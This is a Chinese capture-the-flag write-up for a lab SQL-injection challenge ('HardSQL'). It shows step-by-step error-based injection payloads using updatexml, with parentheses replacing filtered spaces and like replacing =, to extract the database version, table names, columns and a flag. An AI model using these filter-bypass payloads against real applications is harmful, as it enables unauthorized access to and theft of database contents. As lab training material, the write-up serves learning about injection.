打开靶机
先试一下万能密码1' or 1=1#
看起来过滤了一些东西,手动测试一下,发现过滤了and、=、空格、union
等多个注入关键词(别问我为什么不fuzz,因为我fuzz结果跟手动测试结果有出入,明明过滤的,fuzz没测试出来)
试一下报错注入,然后将语句中被过滤的关键词改写就行。空格用()代替,=用like代替
查版本和数据库
原语句:
sql
1admin' or updatexml(1,concat((select concat('~',version(),'~',database()))),1)#
转化:
sql
1admin'or(updatexml(1,concat((select(concat('~',version(),'~',database())))),1))#
出来了
数据库版本:10.3.18-MariaDB
数据库名称:geek
爆表
sql
1admin'or(updatexml(1,concat('~',(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database()))),1))#
表名:H4rDsq1
爆字段
sql
1admin'or(updatexml(1,concat('~',(select(group_concat(column_name))from(information_schema.columns)where((table_name)like('H4rDsq1')))),1))#
字段名:id,username,password
查数据
sql
1admin'or(updatexml(1,concat((select(group_concat('~',username,'~',password))from(H4rDsq1))),1))#
username:flag password:flag{767b3a87-49a4-46b2-9d(残缺)
这里flag不完整,本来想使用substr截取,发现被过滤了,就使用right函数。right函数是从字符串最右边截取若干字符。
sql
1admin'or(updatexml(1,concat((select(group_concat('~',username,'~',right(password,20)))from(H4rDsq1))),1))#
找到另一半,拼接即可。
sql
1flag{767b3a87-49a4-46b2-9dc1-14587bf20974}
莫名其妙意外收获
爆库与方法一一样,而我在爆表时concat若只添加 select语句不添加其他字符连接(group_concat可有可无),可直接login success,并且在F12中找到flag
sql
1admin'or(updatexml(1,concat((select(table_name)from(information_schema.tables)where(table_schema)like(database()))),1))#
此flag与上面所得flag并不一致,不能过靶机,是不是比赛环境留下来的,在BUU改成动态靶机时没改掉